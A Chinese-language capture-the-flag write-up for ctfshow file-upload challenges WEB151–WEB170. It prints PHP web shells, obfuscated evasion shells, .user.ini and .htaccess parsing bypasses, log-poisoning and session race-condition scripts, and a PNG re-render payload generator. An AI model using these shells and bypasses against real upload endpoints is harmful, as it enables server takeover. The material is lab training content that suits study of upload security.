# WEB151

虽然在上传点上传 php 发现不支持 php 的上传,但一句话的 png,发现可以被上传

<?php @eval($_POST['flag']);?>

试试 bp 抓包改后缀能不能上传

发现成功上传

用蚁剑进行连接

成功连接,找到 /var/www/html/flag.php

里面便是 flag

ctfshow{e9ec3beb-bb71-481d-bf0b-b1a4ae935379}


# WEB152

同样先试试 bp 抓包修改能不能传

上传成功

蚁剑连接

/var/www/html/flag.php 目录下找到 flag

ctfshow{c23425b4-aa5d-42bf-8702-7d12b146b090}


# WEB153

同样的方法再试一遍

发现上传不了,就传 png 后缀的一句话木马试试

发现还是对内容没有过滤,只是把后缀过滤了,既然可以上传后缀为 png 的一句话木马,那就上传一个配置文件即 user.ini,把 png 后缀解析了就好

auto_prepend_file=flag.png

bp 抓包修改文件名和内容,成功上传 user.ini

查看是否被成功解析

成功解析,蚁剑进行连接获取 flag

同样的目录 /var/www/html/flag.php,得到 flag

ctfshow{32328274-3d36-4087-b5cb-351a30fef463}


# WEB154

首先上传 png 后缀的一句话木马

发现应该是对内容进行了过滤

发现短标签成功上传

短标签一句话木马: <?= @eval($_POST['a']);?>

直接 bp 抓包直接改后缀发现不行,同样上传.user.ini 解析 png

同样用 phpinfo (); 查看是否解析成功

解析成功,直接使用蚁剑获取 flag

ctfshow{054f3929-69ca-4df0-9d8e-a90e1841da3f}

同样也可以使用 hackbar 获取 flag

hackbar post 传值:a=system ("cat ../f*");phpinfo ();


# WEB155

同样上传短标签一句话木马

发现也同样可以被上传,于是上传配置文件

成功上传,查看是否被解析

成功,蚁剑连接获取 flag

ctfshow{4879de09-af52-4822-818b-ef6c0ce41af1}


# WEB156

再试试 png 后缀的短标签是不是能传上去

发现对短标签内容做了过滤,过滤了 [],那就使用花括号绕过

短标签一句话木马: <?= @eval($_POST{'a'});?>

成功上传,上传配置文件解析

上传成功,查看是否被解析

同样成功,蚁剑连接获得 flag

ctfshow{e251aa37-7214-42c6-a673-68495af8f905}


# WEB157

本题过滤了 {} 和分号,因此用一句话就没有那么方便了,用反引号来执行命令获取 flag

语句: <?=`tac ../f*`?>

(由于分号被过滤了,因此使用 <? ?> 来代替)

同样上传 user.ini

成功上传

上传 png 后缀的命令获取 flag

访问路径:/upload/index.php 或 /upload/ 得到 flag

ctfshow{2d65ff79-1553-470c-a0bd-1a665246e8f7}


# WEB158

WEB156 的同样通杀

ctfshow{bf28384e-6da5-43e3-87f8-038071257cdc}


# WEB159

同 WEB156

ctfshow{bf28384e-6da5-43e3-87f8-038071257cdc}


# WEB160

考的知识点是一个双重包含具体的流程为:

  1. 用 png 包含文件上传日志的目录
    <?=include"/var/lo"."g/nginx/access.lo"."g"?>

  2. .user.ini 包含 png 文件(相当于把 png 所包含的日志文件中的所有东西解析了)
    auto_append_file=/var/www/html/upload/1.png

  3. 刷新抓包修改 UA 头,把构造的命令放入 UA 投中,直接传入日志文件,有上面的两步,因此就能够被解析执行命令,从而 cat
    flag
    <?php system('tac ../fl*');?>

直接先传入 png

传入.user.ini

都上传成功之后修改 UA 头,将命令传入日志中使它被解析

forward 之后去 /upload/ 目录查看是否被解析成功并获取了 flag

得到 flag

ctfshow{35f1ef2f-2a11-4343-9a14-568a5b5365d2}


# WEB161

同上题的方法,依旧是双重包含,一起来看看

同样上传 1.png

发现文件类型不合规,但是没有对后缀进行过滤,应该是对文件的内容进行了过滤

这里是校验了一个文件头,因此只需要在文件中加入 GIF89 的 gif 文件头就能实现绕过

1.png:

GIF89

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

.user.ini:

GIF89

auto_append_file=/var/www/html/upload/1.png

按照上提的步骤再传一遍

都成功上传,修改 UA 头,将命令传入 log 中

访问 /upload/

得到 flag

ctfshow{9c39aa52-c72a-4b62-a2cb-4dce29409f07}


# WEB162

本题考的知识点是一个 session 的文件包含,具体思路如下:

  1. 构造.user.ini 解析 png
    语句:

GIF89

auto_append_file="png"

  1. 构造 png,用 png 包含 session 文件
    语句:

GIF89

<?=include"/tmp/sess_nnnpc"?>

  1. 使用条件竞争脚本,将构造的 session 不断发送并且不断访问,其中在 session 中写入恶意代码,由于之前 png 的包含和.user.ini 的解析,就能进行命令执行 cat
    flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import threading

session = requests.session()
sess = 'nnnpc'
url1 = "http://ce89fbe1-10ca-4a2d-808d-95e5976b5bfd.challenge.ctf.show/"
url2 = "http://ce89fbe1-10ca-4a2d-808d-95e5976b5bfd.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'nnnpc'
}
cookies = {
'PHPSESSID': sess
}



def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)



def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)



threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

开始做题,看看 web162

首先上传.user.ini

这里不能指定特定的 1.png 之类的文件,因为对文件内容进行了过滤,把 "." 过滤了

成功上传,接着上传 png 文件

成功上传

使用条件竞争脚本 cat flag(我这里使用命令行终端执行)

得到 flag

ctfshow{ceb7fdf2-9db7-42e3-a3ea-4763c6b635f4}


# WEB163

本题还是一个 session 的文件包含,但是发现根据 web162 的方法打不通了,于是寻找原因

我们直接试试.user.ini 包含构造的 session 路径

语句:

GIF89A

auto_append_file=/tmp/sess_nnnpc

直接上传

上传成功

用条件竞争脚本上传命令并访问

成功获得 flag

ctfshow{c636315f-3e55-46c0-9024-00b7c4aabd37}


# WEB164

本题考察的知识点是 png 格式图片的二次渲染

知识点:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

二次渲染本身就可以理解为为了安全性,对图片进行了一个很好的过滤,便是对图片的一些东西进行了适当的修改,不影响图片的原本模样,降低了风险性。而此类题目的做法便是通过脚本生成一张经过二次渲染之后依然可以有带马的一张图片,从而达到获取信息的目的

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);





$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

来看看本题,先使用脚本跑一跑
方法一:

打开小皮点击启动

网站 ->localhost-> 管理 -> 打开根目录

把脚本存放在根目录下,浏览器访问 127.0.0.1 / 脚本名称,发现能生成 2.png 就成功了

方法二:

部署 php 环境,我这里是在 vscode 中部署运行的,如果在 vscode 中运行,就不需要开启小皮和将脚本放入根目录了,在自己定义的目录中即可

部署环境可以参考这篇博客:https://blog.csdn.net/qq_44803335/article/details/108806851

png 准备好之后就可以上传了,直接上传

发现上传成功,点击查看图片

再用记事本打开 2.png 查看下

接下来就是构造命令拿 flag 了,在 url 后面跟上 & 0=system

http://eb9dbcc4-1c60-43bc-8775-e2ce03a1830c.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system

post data 传 1=tac f*

execute 之后 ctrl+s 下载保存图片

用记事本打开图片得到 flag

ctfshow{fbaff217-7284-4f2c-87ce-a3f4bd2a9d15}


# WEB165

# WEB166

本题考查的知识点是只能上传后缀为 zip 的文件,构造一句话 zip 上传

语句: <?php @eval($_POST['flag']);?>

上传成功,点击下载文件 bp 抓包

显示了上传路径,这里有两种获取 flag 的方式

方法一:直接蚁剑 getshell

路径:http://5972c52c-254c-4d7e-8338-e77a56823901.challenge.ctf.show/upload/download.php?file=f9322d2cbf1b595eda78d40eb4cc2665.zip

在 /var/www/html/flag.php 下找到 flag

ctfshow{2aa24662-a040-4c85-8eba-7ca444b59198}


方法二:文件包含命令 cat flag

路径:http://5972c52c-254c-4d7e-8338-e77a56823901.challenge.ctf.show/upload/download.php?file=f9322d2cbf1b595eda78d40eb4cc2665.zip

包含语句:flag=system ("tac ../f*");phpinfo ();

bp 抓包发包获得 flag(比较稳)

也可以 hackbar 直接传

获得 flag

ctfshow{2aa24662-a040-4c85-8eba-7ca444b59198}


# WEB167

看提示应该是和 apache 有关,而本题考察的知识点也就是上传.htaccess 绕过

.htaccess 和.user.ini 的作用差不多,只不过.htaccess 使用范围仅限在 apache,两者起的都是解析作用

.htaccess:

方式一:

AddType application/x-httpd-php .png

方式二:

<FilesMatch "png">

SetHandler application/x-httpd-php

</FilesMatch>

开启环境,上传

本题尝试了一下发现只能上传 jpg 格式的文件,不过不要紧,bp 抓包绕过

接下来直接上传一句话木马

还是有两种方法,用 hackbar cat flag 和蚁剑 getshell

方法一:

URL:

http://346e6de9-79dd-4658-b7bb-1d4dd141966e.challenge.ctf.show/upload/flag.png

POST data:

flag=system("tac ../f*");phpinfo();

方法二:

/var/www/html/flag.php 找到 flag

ctfshow{29c520eb-4ced-4f41-94e5-83e115a8ee3d}


# WEB168

接下来所考察的都是免杀

一:

<?php

$a = "s#y#s#t#e#m";

$b = explode("#",$a);

$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];

$c($_REQUEST[1]);

?>

二:

<?php

$a=substr('1s',1).'ystem';

$a($_REQUEST[1]);

?>

三:

<?php

$a=strrev('metsys');

$a($_REQUEST[1]);

?>

四:

<?php

$a=$_REQUEST['a'];

$b=$_REQUEST['b'];

$a($b);

?>

打开环境,用 bp 抓包修改后缀为 php 上传免杀马

成功

点击下载文件

看到了路径,但是这个路径并不对,真正的路径是 /upload/1.php

直接 hackbar 进行命令执行

语句:

1=tac ../f*

由于页面无法被渲染,所以真正的 flag 就会在页面的注释中体现,切换到查看器查看

得到 flag

ctfshow{cd195f91-8967-4b33-bde6-e09622bd78df}


# WEB169

本题看了一些师傅的博客说是高级免杀,但是我没有成功

这题可以用日志文件包含来做

首先,要先来梳理一下题目上传的一些条件,经过尝试之后发现该题条件有:

  1. 只允许上传 zip 后缀的文件(因此要上传 zip 后抓包修改)

  2. 类型只允许是 image/png(千万别忘记修改)
    语句:

.user.ini:

auto_append_file=/var/log/nginx/access.log

(这里的路径可以加 "" 也可不加,一个不行时可以尝试另一个)

UA 头:

<?php @eval($_POST['flag']);?>

接下来就可以开始做题了

这里我们先上传 user.ini,bp 抓包该类型和名称上传

这里使用了.user.ini 直接包含日志文件

成功,接着刷新页面 bp 抓包修改 UA 头

修改为一句话,Forward

接着随便上传一个 php 文件,待会直接用这个 php 进行 getshell

这里不需要木马文件,而且木马很容易被过滤,这里询问了下 web 师傅,做出的解释是.user.ini 要解析文件,上传目录下必须要有一个 php 文件,它才能发挥它的作用,因此我们随便传一个不带马的 php 上去即可

成功,点击下载文件的路径并不是我们想要的路径,真正的路径是 /upload/1.php(我这里传上去的 php 名称是 1.php)

方法一:蚁剑连接

在 /var/www/html/flagaa.php 这个目录下找到 flag

方法二:

使用 hackbar 获取 flag

语句:flag=system ("tac ../f*");phpinfo ();

看到页面上的 flag_here 知道了又是无法被渲染,因此去查看器注释中寻找 flag

ctfshow{c486095a-95b3-4ae6-9763-dfb6da2cdc2a}


# WEB170

本题方法如上 web169,同样的方法再试一遍即可依然是日志文件包含,这里就不过多记录了


这里再记录下一种看到的骚姿势,这种姿势是关于上传.htaccess 进行解析的:

引用其他师傅在 wp 中所做的解释:

1
2
3
4
5
6
如果要上传 .htaccess 文件但有getimagesize、exif_imagetype函数的检查,可以用`#define width 1`和`#define height 1`定义:这样.htaccess文件既不会受到影响而失效,又能绕过检测
.htaccess:
#define width 1
#define height 1
AddType applocation/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"

.htaccess 还能配合伪协议的适用,解析已经上传的内容,那么上传的内容可以是 base64 编码后的,从而绕过敏感字符检查

语句:

php_value auto_append_file
"php://filter/convert.base64-decode/resource=./shell.ppp"